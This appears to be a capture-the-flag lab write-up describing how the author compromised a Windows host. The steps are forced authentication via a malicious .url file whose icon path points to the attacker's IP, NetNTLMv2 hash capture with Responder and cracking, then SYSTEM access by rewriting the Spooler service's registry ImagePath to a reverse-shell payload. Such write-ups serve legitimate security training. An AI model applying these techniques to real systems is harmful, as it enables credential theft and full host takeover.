Writeup by wook413

ReconNmapInitial AccessSMB 139 445Shell as anirudhPrivilege EscalationShell as SYSTEM

Recon

Nmap

As per my standard methodology, I initiated the engagement with three distinct Nmap scans: a full TCP port discovery of all 65,535 ports, a targeted service scan of the identified open ports, and a UDP scan covering the top 10 most common ports.

Initial Access

SMB 139 445

The SMB enumeration revealed that the server allowed Null Authentication. During this phase, I immediately noticed a non-default share named DocumentsShare .

While the share was empty, I confirmed that I had write permissions, allowing me to upload files.

To gain a foothold, I decided to leverage a “Forced Authentication” attack. This technique exploits how Windows Explorer handles file icons.

I generated a malicious .url file.

Set up a listener using Responder

Then I uploaded the malicious file to the DocumnetsShare .

The attack is particularly effective because it is “zero-click”. As far as I know, the victim does not need to open the file. Simply browsing the folder triggers Windows Explorer to attempt to render the file’s icon.

Upon seeing the IconFile path pointing to my IP (e.g., \\\\192.168.45.229\\%USERNAME%.icon), Windows automatically sends an SMB request to fetch the image.

My machine, running Responder , acted as a rogue SMB server. When the victim’s machine requested the icon, Responder challenged it for authentication. Windows automatically responded by sending the user’s NetNTLMv2 hash to my Responder instance.

I successfully captured the hash for the user anirudh and I saved it to hash.txt .

I verified the hash type with hashcat --identify hash.txt

I successfully cracked it using the rockyou.txt wordlist.

Shell as anirudh

I successfully established a remote shell as anirudh using evil-winrm.

Found local.txt

Privilege Escalation

Once inside, I observed that anirudh held several privileges that suggested a path to local administrative access.

I uploaded PrivescCheck.ps1 to the target host.

I ran PrivescCheck.ps1 , which identified multiple “High” severity vulnerabilities. I chose to exploit the Registry Permissions vulnerability.

In Windows, every service stores its configuration-including the path to its executable- in the registry under HKLM\\SYSTEM\\CurrentControlSet\\Services\\<ServiceName> . A vulnerability exists here if a low-privileged user has Write or Full Control access to this registry key due to improperly configured ACLs.

I targeted the Spooler service, which was running with LocalSystem privileges. Since I had GenericWrite permissions on its registry keys, I could modify the ImagePath value.

I generated a malicious reverse shell payload (wook.exe) and transferred it to the target host.

After setting up a local listener on port 80, I used reg add command to replace the original ImagePath of the Spooler service with the path to my malicious executable. C:\\Users\\anirudh\\Desktop\\wook.exe .

I queried the registry to confirm the overwrite was successful.

Since I lacked the permissions to restart the service manually, I opted to restart the entire machine to trigger the service execution.

Shell as SYSTEM

Shortly after the reboot, the service attempted to start, executing my payload as LocalSystem and granting me a reverse shell with full administrative privileges.

Found proof.txt